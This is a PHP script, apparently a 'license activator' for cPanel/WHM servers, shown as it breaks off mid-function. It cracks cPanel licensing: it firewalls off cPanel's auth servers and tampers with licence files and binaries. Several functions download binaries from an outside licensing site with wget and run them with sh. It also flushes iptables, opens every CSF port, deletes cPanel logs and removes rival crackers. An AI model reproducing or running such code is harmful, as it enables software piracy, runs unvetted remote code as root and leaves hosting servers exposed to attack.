#!/usr/local/BLBIN/bin/php
<?php
function clean_firewall()
{
	exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
	exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
	exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
	exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
	exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
	exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
	exec('iptables -t nat -F > /dev/null 2>&1');
	exec('iptables -t mangle -F > /dev/null 2>&1');
	exec('iptables -F > /dev/null 2>&1');
	exec('iptables -X > /dev/null 2>&1');
}

function uninstall()
{
	clean_firewall();
	exec('rm -rf /etc/cron.d/cplicensecron 1> /dev/null');
	exec('rm -rf /etc/cron.d/gb* 1> /dev/null');
	exec('rm -rf /usr/bin/LicenseCP_v2 1> /dev/null');
	exec('rm -rf /usr/bin/LicenseCP 1> /dev/null');
	exec('rm -rf /usr/bin/LicenseCP_update 1> /dev/null');
	exec('chattr -ai /usr/local/cpanel/cpkeyclt 1> /dev/null');
	exec('echo \'\' >  /usr/local/cpanel/cpkeyclt 1> /dev/null');
	exec('rm -rf /etc/cron.d/cplicensecron 1> /dev/null');
	exec('rm -rf /usr/bin/LicenseCP* 1> /dev/null');
	exec('rm -rf /usr/bin/LicenseCP 1> /dev/null');
	exec('umount /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
	exec('umount /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
	exec('umount /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
	exec('umount /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
	exec('umount /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
	exec('umount /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
	exec('umount /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
	exec('umount /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
	exec('umount /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
	exec('umount /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
	exec('umount /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
	exec('umount /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
	exec('umount /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
	exec('chattr -i /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
	exec('chattr -a /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
	exec('rm -rf   /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
	exec('touch   /usr/local/cpanel/cpanel.lisc');
	echo "\x1b" . '[36m Please Wait... ' . "\x1b" . '[0m ' . "\n";
	echo "\x1b" . '[36m WHM/CPanel Upgrade...  ' . "\x1b" . '[0m ' . "\n";
	echo "\x1b" . '[36m Will Take SomeTime... ' . "\x1b" . '[0m ' . "\n";
	sleep(2);
	echo "\n";
	echo "\n";
	real_execute('/scripts/upcp --force');
	echo "\n";
	echo "\n";
	echo "\n";
	echo "\n";
	echo "\x1b" . '[36m Done...  ' . "\x1b" . '[0m ' . "\n";
	return true;
}

function maximum_users()
{
	exec('whmapi1 get_maximum_users > /usr/local/CL/.max_users');
	$filech = file_get_contents('/usr/local/CL/.max_users');
	$postt = strpos($filech, 'maximum_users: 30');
	exec('rm -rf /usr/local/CL/.max_users &> /dev/null');
	exec('/usr/bin/LicenseCP_v2 > /dev/null 2>&1');
	exec('/usr/bin/licensescc > /dev/null 2>&1');

}

function kill_licensecp()
{
	$current_process = getmypid();
	$killprocess = exec_output(' ps aux | grep LicenseCP | grep -v grep | awk \'{print  $2 }\'');
	$killprocess = explode("\r\n", $killprocess);

	foreach ($killprocess as $proc) {
		if ($proc != $current_process) {
			system('kill -9  ' . $proc . '  &> /dev/null');
		}
	}
}

function is_running()
{
	$running = false;

	if (file_exists('/usr/bin/pid/running.pid')) {
		$running_date = exec_output('expr $(expr $(date +%s) - $(stat /usr/bin/pid/running.pid -c %Y)) / 60');
		$running_date = (int) $running_date;

		if (10 < $running_date) {
			system('mkdir  -p "/usr/bin/pid" &> /dev/null');
			system('touch "/usr/bin/pid/running.pid"  &> /dev/null');
			kill_licensecp();
		}
		else {
			$running = true;
		}
	}
	else {
		system('mkdir  -p "/usr/bin/pid" &> /dev/null');
		system('touch "/usr/bin/pid/running.pid"  &> /dev/null');
		$running = false;
	}

	return $running;
}

function send_request_verify($ip)
{
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, 'https://wc.cloudlicense.shop/cpanel/verify/' . $ip . '?user=es');
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	$response = curl_exec($ch);
	curl_close($ch);
	return trim($response);
}

function exec_output($cmd)
{
	exec($cmd, $output, $return_var);

	if (1 < count($output)) {
		return join("\r\n", $output);
	}

	return $output[0];
}

function firewall_traffic_drop()
{
	$firewall = exec_output('  iptables --list OUTPUT --line-number ');

	if (!preg_match('/DROP       all  --  auth2.cpanel.net/', $firewall)) {
		system('iptables -A OUTPUT  -s auth2.cpanel.net -j DROP');
	}

	if (!preg_match('/DROP       all  --  auth5.cpanel.net/', $firewall)) {
		system('iptables -A OUTPUT  -s auth5.cpanel.net -j DROP');
	}

	if (!preg_match('/DROP       all  --  auth10.cpanel.net/', $firewall)) {
		system('iptables -A OUTPUT  -s auth10.cpanel.net -j DROP');
	}

	if (!preg_match('/DROP       all  --  auth7.cpanel.net/', $firewall)) {
		system('iptables -A OUTPUT  -s auth7.cpanel.net -j DROP');
	}

	if (!preg_match('/DROP       all  --  auth3.cpanel.net/', $firewall)) {
		system('iptables -A OUTPUT  -s auth3.cpanel.net -j DROP');
	}

	if (!preg_match('/DROP       all  --  auth9.cpanel.net/', $firewall)) {
		system('iptables -A OUTPUT  -s auth9.cpanel.net -j DROP');
	}

	if (!preg_match('/DROP       all  --  auth9.cpanel.net/', $firewall)) {
		system('iptables -A OUTPUT  -s auth9.cpanel.net -j DROP');
	}

	$firewall = exec_output('  iptables --list INPUT --line-number ');

	if (!preg_match('/DROP       all  --  auth2.cpanel.net/', $firewall)) {
		system('iptables -A INPUT  -s auth2.cpanel.net -j DROP');
	}

	if (!preg_match('/DROP       all  --  auth5.cpanel.net/', $firewall)) {
		system('iptables -A INPUT  -s auth5.cpanel.net -j DROP');
	}

	if (!preg_match('/DROP       all  --  auth10.cpanel.net/', $firewall)) {
		system('iptables -A INPUT  -s auth10.cpanel.net -j DROP');
	}

	if (!preg_match('/DROP       all  --  auth7.cpanel.net/', $firewall)) {
		system('iptables -A INPUT  -s auth7.cpanel.net -j DROP');
	}

	if (!preg_match('/DROP       all  --  auth3.cpanel.net/', $firewall)) {
		system('iptables -A INPUT  -s auth3.cpanel.net -j DROP');
	}

	if (!preg_match('/DROP       all  --  auth9.cpanel.net/', $firewall)) {
		system('iptables -A INPUT  -s auth9.cpanel.net -j DROP');
	}

	system('chmod -x /usr/local/cpanel/cpkeyclt &> /dev/null');
}

function get_number_rule($rule = 'INPUT')
{
	while (true) {
		$firewall_numbers = exec_output('/sbin/iptables --list ' . $rule . '  --line-numbers | grep -E \'*.cpanel.net\'');
		$firewall_numbers = explode("\r\n", $firewall_numbers)[0];

		if ($firewall_numbers == '') {
			break;
		}

		yield $firewall_numbers;
	}

	yield false;
}

function firewall_traffic_accept()
{
	foreach (get_number_rule('OUTPUT') as $data_1) {
		$currentID = exec_output(' echo \'' . $data_1 . '\' |  head -n1 | awk \'{print $1;}\' ');

		if ($currentID != '') {
			system('/sbin/iptables  -D OUTPUT ' . $currentID);
		}
	}

	foreach (get_number_rule() as $data_1) {
		$currentID = exec_output(' echo \'' . $data_1 . '\' |  head -n1 | awk \'{print $1;}\' ');

		if ($currentID != '') {
			system('/sbin/iptables  -D INPUT ' . $currentID);
		}
	}
}

function firewall_accept($force = false)
{
	firewall_traffic_accept();

	if (file_exists('/usr/sbin/csf')) {
		if (file_exists('/etc/csf/csf.conf')) {
			csf_ports();
		}
	}
}

function firewall_drop()
{
	global $firewall_stop;
	global $firewall_stop_1;
	firewall_traffic_drop();
}

function check_license_expire()
{
	global $key;
	system('mkdir -p /usr/local/CL > /dev/null 2>&1');
	$private = '-----BEGIN PRIVATE KEY-----' . "\r\n" . 'MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC5Hq/0a7g3fR9Y' . "\r\n" . '7IteOpM9FIgocmBa/V7TkURXdT+5y3OpVED/FGyQ+WoBWi5bym6CgTlp5bM6QvTe' . "\r\n" . 'QAoVNvDyRjxB4dENBhls/Gr9B1JBcuG6pm1Ruizhu8NsfL5hiCbyZGzSu7L7LKaz' . "\r\n" . '457RoJ01pH7p8IVKxJdW1vNsTiCLgTLgjePkO/hTQJMwO6MvXnpQ3ViI8kECThVS' . "\r\n" . 'lkhrz4UveenmJXBaop038MW2Y0VtVWFaDBdJ+HFN6tueKhIEGbgkB//TyGBuPAS4' . "\r\n" . 'XDe7MQVzg8OUz8NAFrWcJBmVUep8qiDJwVm2m5AvMiUHN4SVyk5wgVZ6XtGeiuOZ' . "\r\n" . 'MUfCQeM3AgMBAAECggEATiIKqAIzLZBtA65LIIlejeA1m8SysJTSSj+89aDyNawO' . "\r\n" . 'dECwcjkfnYz31fxHJszpGcILBoxBumx6R7gFyXB3//nvAuuZvYJ+hsZ/La7CZAdm' . "\r\n" . 'CM6nw1/uA5SpZge8nxPFRHdoiwVYBLWS4shGxzmgQPzd6EVxLN6O9cMh2OucxuQY' . "\r\n" . 'G8HgZ8akklpG8GRiYCesDdHVNycSbm+KrpkMgFVsVbZ2U3kKoti9D3XS24a5vSD0' . "\r\n" . 'kmbkftljpiMZOnHlGGLEIfWFO8ZeS27CvTK1mYgJEibdSTHAsqbH11lw7AUtkIdD' . "\r\n" . 'JGldC+7RElS0bs5X08Vmt/IOeC/MBUa5mWgbUGsLmQKBgQDlk3T0qVLwjduNNFBX' . "\r\n" . 'OxmOI/yQPK5r3xwd6PJx4wxjFzBqq4U3Ew7Jxim2U3BrphliyZ81LwxfTVoJIN1i' . "\r\n" . 'gphkBx3vt3FF9TwFIYh4iQK9U4LCi5aJ6LenjK/UrRz9L9+A3+nabrBCNyKgkdwH' . "\r\n" . 'UaLrPutV7XxNkhdKhI3/bI0ZfQKBgQDObVBZ86DnVSlo6a8Yfe0g6hrdqumJSe+8' . "\r\n" . 'vDlZor3QjtELQ/9o0rZWnyVt8M/MxsZBmBpD/yiTBR8YM56+bBTUF6RooZPcedK7' . "\r\n" . 'JkYobA4bKbaB2sN3LcjaO0+Bk/VZfhgQQwR0CvCZLEnCv5yQYGXRCXfPDYaMQc72' . "\r\n" . 'rJ2JsCatwwKBgCiM+0OcBQJojDdM3kQKNGFfCeWQUl7LcfP2iZyENlPqbKrq0QUB' . "\r\n" . 'YMNTNVr3MgxRsno4kt6aCN1slFK4c2JLHw/MEgWdqWxp/MgLPEfOK6W1cotajKSf' . "\r\n" . 'bpEx0H0Idu5h3mCtLGlg09FeW8dw/CRuzxAudPMgl6w7+dE3yL0tN18hAoGABYCu' . "\r\n" . 'eqde66u+fdh03W9F6fGzo6MRtKIu7NYLpVMMQkn8UpOOdGnhiG+XnNWlhGzsDgWS' . "\r\n" . '9asQltK1IH0Hx0W0TG8Q5+UevurUbj638g3nVlwHTHDbcwraZs7b8LVT/f25gH14' . "\r\n" . '2esMvNiMYs+eyc54CFl7Qx62Lnj2nma9kFUMwucCgYEAsE/NPUBp/lLuGqSR+quj' . "\r\n" . 'sgdTIbttscOF5K+CYThJjBIAI4sMHC1qxgDgf0BAhUiL2NciQ6aIniSCkIoF5bpM' . "\r\n" . 'V7YU+L/ugiOfGVhFsji4X8E00dkqWHUZ1EaDCccoMV/gKKAbnsofUF6w4U/mk3bH' . "\r\n" . 'p2uA5sF5fX+kO3sqKGwfgoI=' . "\r\n" . '-----END PRIVATE KEY-----';

	if (!file_exists('/usr/local/CL/.licensekeycp2')) {
		exec('wget -O /usr/local/CL/.licensekeycp2 https://wc.cloudlicense.shop/api/' . $key . '/getlicense > /dev/null 2>&1');
		$getdata = file_get_contents('/usr/local/CL/.licensekeycp2');
		$file = json_decode($getdata, true);
		$data = base64_decode($file['sig']);
		$decrypted = openssl_private_decrypt($data, $decrypted_1, $private);
		$json = json_decode($decrypted_1, true);
		$valid = $json['second'];
		$validdate = date('m/d/Y h:i:s a', time());
		$valid2 = strtotime($validdate);
	}
	else {
		$getdata = file_get_contents('/usr/local/CL/.licensekeycp2');
		$file = json_decode($getdata, true);
		$data = base64_decode($file['sig']);
		$decrypted = openssl_private_decrypt($data, $decrypted_1, $private);
		$json = json_decode($decrypted_1, true);
		$valid = $json['second'];
		$validdate = date('m/d/Y h:i:s a', time());
		$valid2 = strtotime($validdate);
	}

	if (0 <= $valid2 - $valid) {
		exec('wget -O /usr/local/CL/.licensekeycp2 https://wc.cloudlicense.shop/api/' . $key . '/getlicense > /dev/null 2>&1');
		$getdata = file_get_contents('/usr/local/CL/.licensekeycp2');
		$file = json_decode($getdata, true);
		$data = base64_decode($file['sig']);
		$decrypted = openssl_private_decrypt($data, $decrypted_1, $private);
		$json = json_decode($decrypted_1, true);
		$valid = $json['second'];
		$validdate = date('m/d/Y h:i:s a', time());
		$valid2 = strtotime($validdate);

		if (0 <= $valid2 - $valid) {
			exec('chmod +x /usr/local/cpanel/cpsrvd > /dev/null 2>&1');
			exec('chmod +x /usr/local/cpanel/cpkeyclt > /dev/null 2>&1');
			exec('umount /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
			exec('umount /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('chattr -i /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('chattr -i /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
			exec('chattr -a /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('chattr -a /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
			exec('rm -rf /usr/local/cpanel/.lgbt > /dev/null 2>&1');

			if (file_exists('cp /usr/local/cpanel/scripts/restartsrv_cpsrvd1')) {
				exec('yes 2>/dev/null | cp /usr/local/cpanel/scripts/restartsrv_cpsrvd1 /usr/local/cpanel/scripts/restartsrv_cpsrvd');
			}

			exec('chmod +x /usr/local/cpanel/scripts/restartsrv_cpsrvd');
			exec('chattr -a /usr/local/cpanel/cpkeyclt 2> /dev/null');
			exec('rm -rf /usr/local/cpanel/cpsanitycheck.*');
			exec('rm -rf /usr/local/cpanel/cpane*.lis*');
			return true;
		}
	}

	return false;
}

function csf_ports()
{
	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'TCP_OUT = "1:65535"');

	if ($pos === false) {
		exec('sed -i \'/TCP_OUT =/c\\TCP_OUT = "1:65535"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}

	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'TCP_IN = "1:65535"');

	if ($pos === false) {
		exec('sed -i \'/TCP_IN =/c\\TCP_IN = "1:65535"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}

	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'UDP_IN = "1:65535"');

	if ($pos === false) {
		exec('sed -i \'/UDP_IN =/c\\UDP_IN = "1:65535"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}

	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'TESTING = "0"');

	if ($pos === false) {
		exec('sed -i \'/TESTING =/c\\TESTING = "0"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}

	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'UDP_OUT = "1:65535"');

	if ($pos === false) {
		exec('sed -i \'/UDP_OUT =/c\\UDP_OUT = "1:65535"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}
}

function exec_license($file)
{
	global $plast_bin;
	global $current_ip;
	global $key;
	global $api_license;
	$status = false;
	exec('/usr/local/cpanel/cpanel -D > /usr/local/cpanel/logs/error_log1');
	$filech = file_get_contents('/usr/local/cpanel/logs/error_log1');
	$postt = strpos($filech, 'you must install the license');

	if ($postt !== false) {
		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/gbmover > /dev/null 2>&1');
		exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/_con > /dev/null 2>&1');
		exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
		exec('sh /usr/bin/con0 > /dev/null 2>&1');
		exec('chmod +x /usr/bin/gbmov1 > /dev/null 2>&1');
		exec('sh /usr/bin/gbmov1 > /dev/null 2>&1');
		exec('rm -rf /usr/bin/gbmov1 > /dev/null 2>&1');
		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
		exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
		$null = shell_exec('timeout 30s ' . $plast_bin . ' -q -f \'' . $file . '\' /usr/local/cpanel/cpkeyclt 2> /dev/null');
	}

	exec('rm -rf /usr/local/cpanel/logs/error_log1 > /dev/null 2>&1');
	exec('/usr/local/cpanel/cpanel -D > /usr/local/cpanel/logs/error_log1');
	$filech = file_get_contents('/usr/local/cpanel/logs/error_log1');
	$postt = strpos($filech, 'you must install the license');

	if ($postt !== false) {
		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/gbmover > /dev/null 2>&1');
		exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/_con > /dev/null 2>&1');
		exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
		exec('sh /usr/bin/con0 > /dev/null 2>&1');
		exec('chmod +x /usr/bin/gbmov1 > /dev/null 2>&1');
		exec('sh /usr/bin/gbmov1 > /dev/null 2>&1');
		exec('rm -rf /usr/bin/gbmov1 > /dev/null 2>&1');
		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
		exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
		exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
		exec('rm -rf /usr/local/cpanel/cpkeyclt 2> /dev/null');
		exec('cp /usr/local/cpanel/cpkeyclt_back_2 /usr/local/cpanel/cpkeyclt 2> /dev/null');
		$null = shell_exec('timeout 30s ' . $plast_bin . ' -q -f \'' . $file . '\' /usr/local/cpanel/cpkeyclt 2> /dev/null');
	}

	exec('rm -rf /usr/local/cpanel/logs/error_log1 > /dev/null 2>&1');
	$dns = '/usr/local/cpanel/cpanel.lisc';

	if (file_exists($dns)) {
		$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
		$pos = strpos($filedns, 'dnsonly');

		if ($pos !== false) {
			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/gbmover > /dev/null 2>&1');
			exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/_con > /dev/null 2>&1');
			exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
			exec('sh /usr/bin/con0 > /dev/null 2>&1');
			exec('chmod +x /usr/bin/gbmov1 > /dev/null 2>&1');
			exec('sh /usr/bin/gbmov1 > /dev/null 2>&1');
			exec('rm -rf /usr/bin/gbmov1 > /dev/null 2>&1');
			exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
			exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
			exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
		}
	}

	$curtime = strtotime(date('Y-m-d H:i:s'));
	exec('cd /usr/local/cpanel; rm -rf cpanel.lisc.*');
	exec('rm -rf /usr/local/cpanel/logs/error_log1 > /dev/null 2>&1');
	exec('/usr/local/cpanel/cpanel -D > /usr/local/cpanel/logs/error_log1');
	$filech = file_get_contents('/usr/local/cpanel/logs/error_log1');
	$postt = strpos($filech, 'div class');

	if (!$postt) {
		exec('head -n -3 /etc/csf/csf.ignore > /root/.back0 2>&1');
		exec('rm -rf /etc/csf/csf.ignore > /dev/null 2>&1; cp /root/.back0 /etc/csf/csf.ignore > /dev/null 2>&1');
		exec('rm -rf /root/.bash_time > /dev/null 2>&1');
		$file11 = exec('timeout 2s ping 208.74.123.3  &> /root/.bash_time');
		$file22 = file_get_contents('/root/.bash_time');
		$pos = strpos($file22, 'bytes from');

		if ($pos !== false) {
			firewall_drop();
			exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
		}

		exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
		exec('comp0 -i /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');

		if (file_exists('/usr/local/cpanel/cpane1.lisc')) {
			exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
		}
		else {
			exec('cp /usr/local/cpanel/cpkeyclt /usr/local/cpanel/cpkeyclt_back_2 2> /dev/null');
			exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
			exec('/usr/bin/sed -i s/_is_trial/_is_tria1/g /usr/local/cpanel/base/show_template.stor');
			exec('/usr/bin/sed -i s/IS_TRIAL/IS_TRIA1/g /usr/local/cpanel/base/resetpass.cgi');
			exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
		}

		exec('comp0 +i /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
		exec('chmod +x /usr/local/cpanel/cpanel > /dev/null 2>&1');
		maximum_users();
		echo "\x1b" . '[32m' . "\n\n" . 'cPanel has been Activated!' . "\x1b" . '[0m' . "\n";
		$status = true;
	}

	return $status;
}

function get_http_response_code($domain1)
{
	$ch = curl_init($domain1);
	curl_setopt($ch, CURLOPT_HEADER, true);
	curl_setopt($ch, CURLOPT_NOBODY, true);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_TIMEOUT, 30);
	$output = curl_exec($ch);
	$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
	curl_close($ch);
	return $httpcode;
}

function get_request($url)
{
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	$response = curl_exec($ch);
	curl_close($ch);
	return trim($response);
}

function remove_csp()
{
	if (file_exists('/usr/bin/update_cpanelv2')) {
		echo "\n";
		echo "\n";
		echo "\x1b" . '[36m Please Wait... ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m Removing Cpanel License From Another Provider...  ' . "\x1b" . '[0m ' . "\n";
		echo "\n";
		echo "\n";
		exec('/usr/bin/update_cpanelv2 --Uninstall > /dev/null 2>&1');
		exec('rm -rf /usr/bin/update_cpanelv* > /dev/null 2>&1');
		exec('rm -rf /usr/bin/CSP* > /dev/null 2>&1');
		exec('rm -rf /etc/cron.d/CSP* > /dev/null 2>&1');
		exec('chattr -i /usr/local/cpanel/cpkeyclt 2> /dev/null');
		exec('chattr -a /usr/local/cpanel/cpkeyclt 2> /dev/null');
		exec('umount /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
		exec('umount /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('chattr -i /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('chattr -a /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
		exec('rm -rf   /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		echo "\x1b" . '[36m Please Wait... ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m WHM/CPanel Upgrade...  ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m Will Take SomeTime... ' . "\x1b" . '[0m ' . "\n";
		sleep(2);
		echo "\n";
		echo "\n";
		real_execute('/scripts/upcp --force');
		echo "\n";
		echo "\n";
		echo "\n";
		echo "\n";
		echo "\x1b" . '[36m Done...  ' . "\x1b" . '[0m ' . "\n";
		return true;
	}

	return false;
}

function remove_licensing()
{
	$status = false;
	if (file_exists('/usr/bin/Licensing') || file_exists('/etc/cron.d/licsys_cpanel') || file_exists('/usr/bin/licsys')) {
		$status = true;
		echo "\n";
		echo "\n";
		echo "\x1b" . '[36m Please Wait... ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m Removing Cpanel License From Another Provider...  ' . "\x1b" . '[0m ' . "\n";
		echo "\n";
		echo "\n";
	}

	exec('chkconfig --del cgls > /dev/null 2>&1');
	exec('service cgls stop > /dev/null 2>&1');
	exec('rm -rf /etc/init.d/cgls > /dev/null 2>&1');
	exec('rm -rf /etc/cron.d/cgls > /dev/null 2>&1');
	exec('rm -rf /etc/cron.d/licsys* > /dev/null 2>&1');
	exec('rm -rf /usr/bin/licsys > /dev/null 2>&1');
	exec('rm -rf /usr/bin/Licensing > /dev/null 2>&1');
	exec('rm -rf /usr/local/cgls > /dev/null 2>&1');

	if ($status) {
		exec('chattr -i /usr/local/cpanel/cpkeyclt 2> /dev/null');
		exec('chattr -a /usr/local/cpanel/cpkeyclt 2> /dev/null');
		exec('umount /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
		exec('umount /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('chattr -i /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('chattr -a /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
		exec('rm -rf   /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('touch  /usr/local/cpanel/cpanel.lisc');
		echo "\x1b" . '[36m Please Wait... ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m WHM/CPanel Upgrade...  ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m Will Take SomeTime... ' . "\x1b" . '[0m ' . "\n";
		sleep(2);
		echo "\n";
		echo "\n";
		real_execute('/scripts/upcp --force');
		echo "\n";
		echo "\n";
		echo "\n";
		echo "\n";
		echo "\x1b" . '[36m Done...  ' . "\x1b" . '[0m ' . "\n";
	}

	return $status;
}

function remove_rc()
{
	$status = false;

	if (file_exists('/etc/cron.d/sysmail')) {
		$status = true;
		echo "\n";
		echo "\n";
		echo "\x1b" . '[36m Please Wait... ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m Removing Cpanel License From Another Provider...  ' . "\x1b" . '[0m ' . "\n";
		echo "\n";
		echo "\n";
	}

	exec('rm -rf /etc/cron.d/rc* > /dev/null 2>&1');
	exec('rm -rf /etc/cron.d/sysmail > /dev/null 2>&1');
	exec('rm -rf /etc/cron.d/wo-com > /dev/null 2>&1');
	exec('rm -rf /etc/cron.d/helpercln > /dev/null 2>&1');
	exec('rm -rf /usr/bin/rc* > /dev/null 2>&1');
	exec('rm -rf /usr/bin/Rc* ');

	if ($status) {
		if (!file_exists('/usr/bin/chattr')) {
			exec('cp /usr/bin/comp0  /usr/bin/chattr > /dev/null 2>&1');
		}

		exec('chattr -i /usr/local/cpanel/cpkeyclt 2> /dev/null');
		exec('chattr -a /usr/local/cpanel/cpkeyclt 2> /dev/null');
		exec('umount /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
		exec('umount /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('chattr -i /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('chattr -a /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
		exec('rm -rf   /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('touch  /usr/local/cpanel/cpanel.lisc');
		echo "\x1b" . '[36m Please Wait... ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m WHM/CPanel Upgrade...  ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m Will Take SomeTime... ' . "\x1b" . '[0m ' . "\n";
		sleep(2);
		echo "\n";
